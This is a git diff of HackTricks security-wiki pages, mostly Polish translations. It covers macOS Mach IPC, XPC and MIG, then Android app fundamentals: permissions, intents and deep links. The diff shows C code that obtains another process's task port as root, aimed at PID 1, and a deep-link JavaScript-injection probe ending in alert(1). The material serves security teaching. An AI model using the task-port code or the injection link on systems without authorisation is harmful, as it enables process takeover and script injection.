||||
|
||||
mach_port_t task_for_pid_workaround(int Pid)
|
||||
{
|
||||
|
||||
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
|
||||
mach_port_t psDefault;
|
||||
mach_port_t psDefault_control;
|
||||
|
||||
task_array_t tasks;
|
||||
mach_msg_type_number_t numTasks;
|
||||
int i;
|
||||
|
||||
thread_array_t threads;
|
||||
thread_info_data_t tInfo;
|
||||
|
||||
kern_return_t kr;
|
||||
|
||||
kr = processor_set_default(myhost, &psDefault);
|
||||
|
||||
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
|
||||
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
|
||||
mach_error("host_processor_set_priv",kr); exit(1);}
|
||||
|
||||
printf("So far so good\n");
|
||||
|
||||
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
|
||||
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
|
||||
|
||||
for (i = 0; i < numTasks; i++)
|
||||
{
|
||||
int pid;
|
||||
pid_for_task(tasks[i], &pid);
|
||||
printf("TASK %d PID :%d\n", i,pid);
|
||||
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
|
||||
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
|
||||
printf("Command line: %s\n", pathbuf);
|
||||
} else {
|
||||
printf("proc_pidpath failed: %s\n", strerror(errno));
|
||||
}
|
||||
if (pid == Pid){
|
||||
printf("Found\n");
|
||||
return (tasks[i]);
|
||||
}
|
||||
}
|
||||
|
||||
return (MACH_PORT_NULL);
|
||||
} // end workaround
|
||||
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
/*if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
if (pid <= 0) {
|
||||
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
|
||||
return 1;
|
||||
}*/
|
||||
|
||||
int pid = 1;
|
||||
|
||||
task_for_pid_workaround(pid);
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
## XPC
|
||||
|
||||
### Podstawowe informacje
|
||||
### Basic Information
|
||||
|
||||
XPC, co oznacza XNU (jądro używane przez macOS) Komunikację Międzyprocesową, to framework do **komunikacji między procesami** na macOS i iOS. XPC zapewnia mechanizm dokonywania **bezpiecznych, asynchronicznych wywołań metod między różnymi procesami** w systemie. Jest to część paradygmatu bezpieczeństwa Apple, pozwalająca na **tworzenie aplikacji z podziałem uprawnień**, gdzie każdy **komponent** działa tylko z **uprawnieniami, których potrzebuje** do wykonania swojej pracy, ograniczając tym samym potencjalne szkody wynikające z skompromitowanego procesu.
|
||||
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process.
|
||||
|
||||
Aby uzyskać więcej informacji na temat tego, jak ta **komunikacja działa** i jak **może być podatna** sprawdź:
|
||||
For more information about how this **communication work** on how it **could be vulnerable** check:
|
||||
|
||||
{% content-ref url="macos-xpc/" %}
|
||||
[macos-xpc](macos-xpc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MIG - Generator Interfejsu Mach
|
||||
## MIG - Mach Interface Generator
|
||||
|
||||
MIG został stworzony, aby **uproszczyć proces tworzenia kodu Mach IPC**. Dzieje się tak, ponieważ wiele pracy nad programowaniem RPC obejmuje te same czynności (pakowanie argumentów, wysyłanie wiadomości, rozpakowywanie danych na serwerze...).
|
||||
MIG was created to **simplify the process of Mach IPC** code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the server...).
|
||||
|
||||
MIG **generuje potrzebny kod** do komunikacji między serwerem a klientem na podstawie określonej definicji (w języku IDL - Interface Definition Language). Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał go tylko zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
|
||||
MIC basically **generates the needed code** for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
For more info check:
|
||||
|
||||
{% content-ref url="macos-mig-mach-interface-generator.md" %}
|
||||
[macos-mig-mach-interface-generator.md](macos-mig-mach-interface-generator.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Odnośniki
|
||||
## References
|
||||
|
||||
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [\*OS Internals, Tom I, Tryb Użytkownika, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
* [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
* [https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Podstawy Aplikacji na Androida
|
||||
# Podstawy aplikacji Android
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,11 +10,11 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -22,12 +22,12 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
***
|
||||
|
||||
## Model Bezpieczeństwa Androida
|
||||
## Model bezpieczeństwa Androida
|
||||
|
||||
**Składa się z dwóch warstw:**
|
||||
**Istnieją dwie warstwy:**
|
||||
|
||||
* **Systemu operacyjnego (OS)**, który izoluje zainstalowane aplikacje od siebie.
|
||||
* **Samej aplikacji**, która pozwala deweloperom **udostępniać określone funkcjonalności** i konfigurować zdolności aplikacji.
|
||||
* **System operacyjny (OS)**, który izoluje zainstalowane aplikacje od siebie.
|
||||
* **Sama aplikacja**, która pozwala programistom **udostępniać określone funkcjonalności** i konfigurować zdolności aplikacji.
|
||||
|
||||
### Separacja UID
|
||||
|
||||
|
@ -35,31 +35,31 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### Współdzielenie UID
|
||||
|
||||
**Dwie aplikacje mogą być skonfigurowane do korzystania z tego samego UID**. Może to być przydatne do udostępniania informacji, ale jeśli jedna z nich zostanie skompromitowana, dane obu aplikacji zostaną naruszone. Dlatego ten sposób postępowania jest **niezalecany**.\
|
||||
**Dwie aplikacje mogą być skonfigurowane do korzystania z tego samego UID**. Może to być przydatne do udostępniania informacji, ale jeśli jedna z nich zostanie skompromitowana, dane obu aplikacji zostaną naruszone. Dlatego to zachowanie jest **niezalecane**.\
|
||||
**Aby współdzielić to samo UID, aplikacje muszą zdefiniować tę samą wartość `android:sharedUserId` w swoich manifestach.**
|
||||
|
||||
### Izolacja
|
||||
|
||||
**Piaskownica Aplikacji Androida** pozwala uruchamiać **każdą aplikację** jako **oddzielny proces pod oddzielnym identyfikatorem użytkownika**. Każdy proces ma swoją własną maszynę wirtualną, więc kod aplikacji działa w izolacji od innych aplikacji.\
|
||||
Od Androida 5.0(L) jest stosowany **SELinux**. W skrócie, SELinux odrzuca wszystkie interakcje procesów, a następnie tworzy zasady, aby **zezwolić tylko na oczekiwane interakcje między nimi**.
|
||||
**Piaskownica aplikacji Android** pozwala uruchamiać **każdą aplikację** jako **oddzielny proces pod oddzielnym identyfikatorem użytkownika**. Każdy proces ma swoją własną maszynę wirtualną, więc kod aplikacji działa w izolacji od innych aplikacji.\
|
||||
Od Androida 5.0(L) **SELinux** jest egzekwowany. W skrócie, SELinux odrzuca wszystkie interakcje procesów, a następnie tworzy zasady, aby **zezwolić tylko na oczekiwane interakcje między nimi**.
|
||||
|
||||
### Uprawnienia
|
||||
|
||||
Podczas instalacji **aplikacji i prośby o uprawnienia**, aplikacja prosi o uprawnienia skonfigurowane w elementach **`uses-permission`** w pliku **AndroidManifest.xml**. Element **uses-permission** wskazuje nazwę żądanego uprawnienia w atrybucie **name**. Ma również atrybut **maxSdkVersion**, który przestaje prosić o uprawnienia w wersjach wyższych niż określona.\
|
||||
Zauważ, że aplikacje na Androida nie muszą prosić o wszystkie uprawnienia na początku, mogą również **prosić o uprawnienia dynamicznie**, ale wszystkie uprawnienia muszą być **zadeklarowane** w **manifeście**.
|
||||
Zauważ, że aplikacje Android nie muszą prosić o wszystkie uprawnienia na początku, mogą również **prosić o uprawnienia dynamicznie**, ale wszystkie uprawnienia muszą być **zadeklarowane** w **manifeście**.
|
||||
|
||||
Gdy aplikacja udostępnia funkcjonalność, może ograniczyć **dostęp tylko do aplikacji posiadających określone uprawnienie**.\
|
||||
Element uprawnienia ma trzy atrybuty:
|
||||
|
||||
* Nazwę uprawnienia
|
||||
* **Nazwa** uprawnienia
|
||||
* Atrybut **permission-group**, który pozwala na grupowanie powiązanych uprawnień.
|
||||
* **Poziom ochrony**, który wskazuje, w jaki sposób uprawnienia są udzielane. Istnieją cztery typy:
|
||||
* **Normal**: Używane, gdy nie ma **znanych zagrożeń** dla aplikacji. Użytkownik **nie musi go zatwierdzać**.
|
||||
* **Normalne**: Używane, gdy nie ma **znanych zagrożeń** dla aplikacji. Użytkownik **nie musi go zatwierdzać**.
|
||||
* **Niebezpieczne**: Wskazuje, że uprawnienie nadaje żądającej aplikacji pewne **podwyższone uprawnienia**. **Użytkownicy są proszeni o ich zatwierdzenie**.
|
||||
* **Podpis**: Tylko **aplikacje podpisane tym samym certyfikatem co ta**, eksportująca komponent, mogą uzyskać uprawnienie. Jest to najwyższy poziom ochrony.
|
||||
* **Podpis**: Tylko **aplikacje podpisane tym samym certyfikatem co ta**, eksportująca komponent, mogą uzyskać uprawnienie. Jest to najmocniejszy typ ochrony.
|
||||
* **PodpisLubSystem**: Tylko **aplikacje podpisane tym samym certyfikatem co ta**, eksportująca komponent, lub **aplikacje działające z poziomem dostępu systemowego** mogą uzyskać uprawnienia.
|
||||
|
||||
## Zainstalowane Wstępnie Aplikacje
|
||||
## Zainstalowane wstępnie aplikacje
|
||||
|
||||
Te aplikacje zazwyczaj znajdują się w katalogach **`/system/app`** lub **`/system/priv-app`**, a niektóre z nich są **zoptymalizowane** (możesz nawet nie znaleźć pliku `classes.dex`). Warto sprawdzić te aplikacje, ponieważ czasami działają zbyt wieloma uprawnieniami (jako root).
|
||||
|
||||
|
@ -72,7 +72,7 @@ Te aplikacje zazwyczaj znajdują się w katalogach **`/system/app`** lub **`/sys
|
|||
Aby uzyskać dostęp roota do fizycznego urządzenia z systemem Android, zazwyczaj trzeba **wykorzystać** 1 lub 2 **luki**, które zazwyczaj są **specyficzne** dla **urządzenia** i **wersji**.\
|
||||
Gdy exploit zadziała, zazwyczaj binarny `su` systemu Linux jest kopiowany do lokalizacji określonej w zmiennej środowiskowej PATH użytkownika, np. `/system/xbin`.
|
||||
|
||||
Po skonfigurowaniu binarnego su, inna aplikacja na Androida jest używana do interakcji z binarnym `su` i **przetwarzania żądań dostępu roota** jak **Superuser** i **SuperSU** (dostępne w sklepie Google Play).
|
||||
Po skonfigurowaniu binarnego su, inna aplikacja Android jest używana do interakcji z binarnym `su` i **przetwarzania żądań dostępu roota** jak **Superuser** i **SuperSU** (dostępne w sklepie Google Play).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że proces rootowania jest bardzo niebezpieczny i może poważnie uszkodzić urządzenie
|
||||
|
@ -89,9 +89,9 @@ Zauważ, że **nie zawsze jest konieczne zrootowanie urządzenia** do zainstalow
|
|||
|
||||
Po zrootowaniu urządzenia, dowolna aplikacja może żądać dostępu jako root. Jeśli złośliwa aplikacja go uzyska, będzie miała dostęp do prawie wszystkiego i będzie mogła uszkodzić telefon.
|
||||
|
||||
## Podstawy Aplikacji na Androida <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Podstawy aplikacji Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Format aplikacji na Androida nazywany jest _formatem pliku APK_. Jest to w zasadzie **plik ZIP** (poprzez zmianę rozszerzenia pliku na .zip, zawartość można wyodrębnić i przeglądać).
|
||||
- Format aplikacji Android jest nazywany _formatem pliku APK_. Jest to w zasadzie **plik ZIP** (zmieniając rozszerzenie pliku na .zip, można wyodrębnić i przeglądać zawartość).
|
||||
- Zawartość APK (niepełna)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
|
@ -100,7 +100,7 @@ Po zrootowaniu urządzenia, dowolna aplikacja może żądać dostępu jako root.
|
|||
- META-INF/
|
||||
- Tutaj znajduje się Certyfikat!
|
||||
- **classes.dex**
|
||||
- Zawiera kod bajtowy Dalvika, reprezentujący skompilowany kod Java (lub Kotlin), który aplikacja wykonuje domyślnie.
|
||||
- Zawiera bajtkod Dalvik, reprezentujący skompilowany kod Java (lub Kotlin), który aplikacja wykonuje domyślnie.
|
||||
- lib/
|
||||
- Zawiera biblioteki natywne, podzielone według architektury CPU w podkatalogach.
|
||||
- `armeabi`: kod dla procesorów opartych na ARM
|
||||
|
@ -113,18 +113,18 @@ Po zrootowaniu urządzenia, dowolna aplikacja może żądać dostępu jako root.
|
|||
- Zawiera zasoby, które nie są skompilowane do resources.arsc
|
||||
### **Dalvik & Smali**
|
||||
|
||||
W rozwoju aplikacji na Androida używa się **Javy lub Kotlin**. Zamiast korzystać z JVM jak w aplikacjach na komputery stacjonarne, Android kompiluje ten kod do **wykonywalnego kodu Dalvika (DEX)**. Wcześniej ten kod obsługiwała maszyna wirtualna Dalvika, ale teraz w nowszych wersjach Androida przejmuje to Android Runtime (ART).
|
||||
W rozwoju Androida używa się **Javy lub Kotlin** do tworzenia aplikacji. Zamiast korzystać z JVM jak w aplikacjach na komputery stacjonarne, Android kompiluje ten kod do **wykonywalnego kodu bajtowego Dalvika (DEX)**. Wcześniej ten kod obsługiwała maszyna wirtualna Dalvika, ale teraz w nowszych wersjach Androida przejmuje to Android Runtime (ART).
|
||||
|
||||
W przypadku inżynierii wstecznej **Smali** staje się kluczowy. Jest to czytelna dla człowieka wersja kodu DEX, działająca jak język asemblera, tłumacząca kod źródłowy na instrukcje bajtowe. Smali i baksmali odnoszą się do narzędzi montażu i demontażu w tym kontekście.
|
||||
Dla inżynierii wstecznej **Smali** staje się kluczowy. Jest to czytelna dla człowieka wersja kodu bajtowego DEX, działająca jak język asemblera, tłumacząca kod źródłowy na instrukcje bajtowe. Smali i baksmali odnoszą się do narzędzi montażu i demontażu w tym kontekście.
|
||||
|
||||
## Intents
|
||||
|
||||
Intents są głównym środkiem komunikacji między komponentami aplikacji na Androida lub z innymi aplikacjami. Obiekty tych wiadomości mogą również przekazywać dane między aplikacjami lub komponentami, podobnie jak w przypadku żądań GET/POST w komunikacji HTTP.
|
||||
Intents są głównym środkiem komunikacji między komponentami aplikacji Android lub z innymi aplikacjami. Te obiekty wiadomości mogą również przesyłać dane między aplikacjami lub komponentami, podobnie jak w przypadku żądań GET/POST w komunikacji HTTP.
|
||||
|
||||
Więc Intent to w zasadzie **wiadomość przekazywana między komponentami**. Intents **mogą być kierowane** do konkretnych komponentów lub aplikacji, **lub mogą być wysyłane bez określonego odbiorcy**.\
|
||||
Więc Intent to w zasadzie **wiadomość przekazywana między komponentami**. Intents **mogą być skierowane** do konkretnych komponentów lub aplikacji, **lub mogą być wysyłane bez określonego odbiorcy**.\
|
||||
Aby to uprościć, Intent można użyć:
|
||||
|
||||
* Do uruchamiania Activity, zazwyczaj otwierając interfejs użytkownika aplikacji
|
||||
* Do uruchamiania Activity, zwykle otwierając interfejs użytkownika aplikacji
|
||||
* Jako transmisje, informujące system i aplikacje o zmianach
|
||||
* Do uruchamiania, zatrzymywania i komunikowania się z usługą w tle
|
||||
* Do uzyskiwania dostępu do danych za pośrednictwem dostawców treści
|
||||
|
@ -134,13 +134,13 @@ Jeśli są podatne, **Intents mogą być wykorzystane do przeprowadzenia różno
|
|||
|
||||
### Intent-Filter
|
||||
|
||||
**Filtry Intents** definiują **jak aktywność, usługa lub odbiornik nadawany może współdziałać z różnymi typami Intents**. W zasadzie opisują one możliwości tych komponentów, takie jak jakie działania mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Głównym miejscem deklaracji tych filtrów jest plik **AndroidManifest.xml**, chociaż dla odbiorników nadawanych istnieje również opcja ich kodowania.
|
||||
**Filtry Intents** definiują **jak aktywność, usługa lub odbiornik nadawany może współdziałać z różnymi typami Intents**. W zasadzie opisują one możliwości tych komponentów, takie jak jakie działania mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Głównym miejscem deklaracji tych filtrów jest plik **AndroidManifest.xml**, chociaż dla odbiorników nadawanych istnieje również możliwość ich kodowania.
|
||||
|
||||
Filtry Intents składają się z kategorii, działań i filtrów danych, z możliwością dodania dodatkowych metadanych. Taka konfiguracja pozwala komponentom obsługiwać konkretne Intents, które spełniają określone kryteria.
|
||||
Filtry Intents składają się z kategorii, działań i filtrów danych, z możliwością dołączenia dodatkowych metadanych. Ta konfiguracja pozwala komponentom obsługiwać konkretne Intents, które spełniają określone kryteria.
|
||||
|
||||
Krytycznym aspektem komponentów Androida (aktywności/usług/dostawców treści/odbiorców nadawanych) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może współdziałać z innymi aplikacjami, jeśli jest **`eksportowany`** z wartością **`true`** lub jeśli dla niego zadeklarowany jest filtr Intent w manifeście. Jednak deweloperzy mają możliwość jawnego zachowania tych komponentów jako prywatnych, zapewniając, że nie będą one niezamierzenie współdziałać z innymi aplikacjami. Można to osiągnąć, ustawiając atrybut **`eksportowany`** na **`false`** w ich definicjach manifestu.
|
||||
|
||||
Co więcej, deweloperzy mają możliwość dodatkowego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`permission`** może być ustawiony, aby wymusić, że tylko aplikacje z określonym uprawnieniem mogą uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim współdziałać.
|
||||
Co więcej, deweloperzy mają możliwość dodatkowego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`uprawnienie`** może być ustawiony w celu wymuszenia, aby tylko aplikacje z wyznaczonym uprawnieniem mogły uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim współdziałać.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
|
@ -152,9 +152,9 @@ Intencje są tworzone programistycznie za pomocą konstruktora Intent:
|
|||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
Akcja **Action** wcześniej zadeklarowanego zamiaru to **ACTION\_SEND**, a **Extra** to mailto **Uri** (Extra to dodatkowe informacje, których oczekuje zamiar).
|
||||
Akcja wcześniej zadeklarowanego intencji to **ACTION\_SEND**, a **Extra** to mailto **Uri** (Extra to dodatkowe informacje, których intencja oczekuje).
|
||||
|
||||
Ten zamiar powinien być zadeklarowany wewnątrz manifestu, jak w poniższym przykładzie:
|
||||
Ta intencja powinna być zadeklarowana wewnątrz manifestu, jak w poniższym przykładzie:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -165,7 +165,7 @@ Ten zamiar powinien być zadeklarowany wewnątrz manifestu, jak w poniższym prz
|
|||
```
|
||||
Intent-filter musi pasować do **działania**, **danych** i **kategorii**, aby otrzymać wiadomość.
|
||||
|
||||
Proces "Rozstrzygania intencji" określa, która aplikacja powinna otrzymać każdą wiadomość. Proces ten uwzględnia atrybut **priorytetu**, który może być ustawiony w deklaracji **intent-filter**, a **ten z wyższym priorytetem zostanie wybrany**. Priorytet ten można ustawić między -1000 a 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli **wystąpi konflikt**, pojawia się okno "wyboru", dzięki czemu **użytkownik może zdecydować**.
|
||||
Proces "Rozstrzygania intencji" określa, która aplikacja powinna otrzymać każdą wiadomość. Ten proces uwzględnia atrybut **priorytetu**, który może być ustawiony w deklaracji **intent-filter**, a **ten z wyższym priorytetem zostanie wybrany**. Priorytet ten można ustawić między -1000 a 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli **wystąpi konflikt**, pojawia się okno "wyboru", dzięki czemu **użytkownik może zdecydować**.
|
||||
|
||||
### Jawne intencje
|
||||
|
||||
|
@ -181,7 +181,7 @@ context.startService(intent);
|
|||
```
|
||||
### Intencje oczekujące
|
||||
|
||||
Pozwalają innym aplikacjom **wykonywać czynności w imieniu Twojej aplikacji**, korzystając z tożsamości i uprawnień Twojej aplikacji. Konstruując Intencję oczekującą, należy **określić intencję i akcję do wykonania**. Jeśli **zadeklarowana intencja nie jest jawna** (nie określa, która intencja może ją wywołać), **złośliwa aplikacja może wykonać zadeklarowaną akcję** w imieniu aplikacji ofiary. Ponadto, **jeśli akcja nie jest określona**, złośliwa aplikacja będzie mogła wykonać **dowolną akcję w imieniu ofiary**.
|
||||
Pozwalają innym aplikacjom **wykonywać czynności w imieniu twojej aplikacji**, korzystając z tożsamości i uprawnień twojej aplikacji. Konstruując Intencję oczekującą, należy **określić intencję i akcję do wykonania**. Jeśli **zadeklarowana intencja nie jest jawna** (nie określa, która intencja może ją wywołać), **złośliwa aplikacja może wykonać zadeklarowaną akcję** w imieniu aplikacji ofiary. Ponadto, **jeśli akcja nie jest określona**, złośliwa aplikacja będzie mogła wykonać **dowolną akcję w imieniu ofiary**.
|
||||
|
||||
### Intencje rozgłoszeniowe
|
||||
|
||||
|
@ -189,14 +189,14 @@ W przeciwieństwie do poprzednich intencji, które są odbierane tylko przez jed
|
|||
|
||||
Alternatywnie, jest również możliwe **określenie uprawnienia podczas wysyłania rozgłoszenia**. Aplikacja odbiorcza będzie musiała posiadać to uprawnienie.
|
||||
|
||||
Istnieją **dwa rodzaje** rozgłoszeń: **Normalne** (asynchroniczne) i **Uporządkowane** (synchroniczne). **Kolejność** jest ustalana na podstawie **skonfigurowanego priorytetu w elemencie odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać rozgłoszenie**.
|
||||
Istnieją **dwa rodzaje** Rozgłoszeń: **Normalne** (asynchroniczne) i **Uporządkowane** (synchroniczne). **Kolejność** jest oparta na **skonfigurowanym priorytecie w elemencie odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać Rozgłoszenie**.
|
||||
|
||||
Możliwe jest **wysłanie** rozgłoszenia za pomocą funkcji `sendBroadcast(intent, receiverPermission)` z klasy `Context`.\
|
||||
Można również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, co zapewnia, że **wiadomość nigdy nie opuści aplikacji**. Dzięki temu nie będzie nawet konieczne eksportowanie komponentu odbiorcy.
|
||||
Można również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, aby zapewnić, że **wiadomość nigdy nie opuści aplikacji**. Dzięki temu nie będzie nawet konieczne eksportowanie komponentu odbiorcy.
|
||||
|
||||
### Rozgłoszenia trwałe
|
||||
### Trwałe rozgłoszenia
|
||||
|
||||
Ten rodzaj rozgłoszeń **może być dostępny długo po ich wysłaniu**.\
|
||||
Ten rodzaj Rozgłoszeń **może być dostępny długo po ich wysłaniu**.\
|
||||
Zostały one oznaczone jako przestarzałe w poziomie API 21 i zaleca się **nie korzystanie z nich**.\
|
||||
**Pozwalają one dowolnej aplikacji na podsłuchanie danych, ale także na ich modyfikację**.
|
||||
|
||||
|
@ -204,7 +204,7 @@ Jeśli znajdziesz funkcje zawierające słowo "trwałe" jak **`sendStickyBroadca
|
|||
|
||||
## Głębokie linki / schematy URL
|
||||
|
||||
W aplikacjach Androida, **głębokie linki** są używane do uruchamiania akcji (Intencji) bezpośrednio za pomocą adresu URL. Jest to realizowane poprzez zadeklarowanie określonego **schematu URL** wewnątrz aktywności. Gdy urządzenie z systemem Android próbuje **uzyskać dostęp do adresu URL z tym schematem**, uruchamiana jest określona aktywność w aplikacji.
|
||||
W aplikacjach Androida, **głębokie linki** są używane do zainicjowania akcji (Intencji) bezpośrednio za pomocą adresu URL. Dokonuje się tego poprzez zadeklarowanie konkretnego **schematu URL** wewnątrz aktywności. Gdy urządzenie z systemem Android próbuje **uzyskać dostęp do adresu URL z tym schematem**, uruchamiana jest określona aktywność w aplikacji.
|
||||
|
||||
Schemat musi być zadeklarowany w pliku **`AndroidManifest.xml`**:
|
||||
```xml
|
||||
|
@ -231,21 +231,21 @@ Aby uzyskać do niego dostęp z sieci, można ustawić link w ten sposób:
|
|||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
Aby znaleźć **kod, który zostanie wykonany w aplikacji**, przejdź do aktywności wywołanej przez deeplink i wyszukaj funkcję **`onNewIntent`**.
|
||||
Aby znaleźć **kod, który zostanie wykonany w aplikacji**, przejdź do aktywności wywołanej przez link głęboki i wyszukaj funkcję **`onNewIntent`**.
|
||||
|
||||
Dowiedz się, jak [wywoływać głębokie linki bez użycia stron HTML](./#exploiting-schemes-deep-links).
|
||||
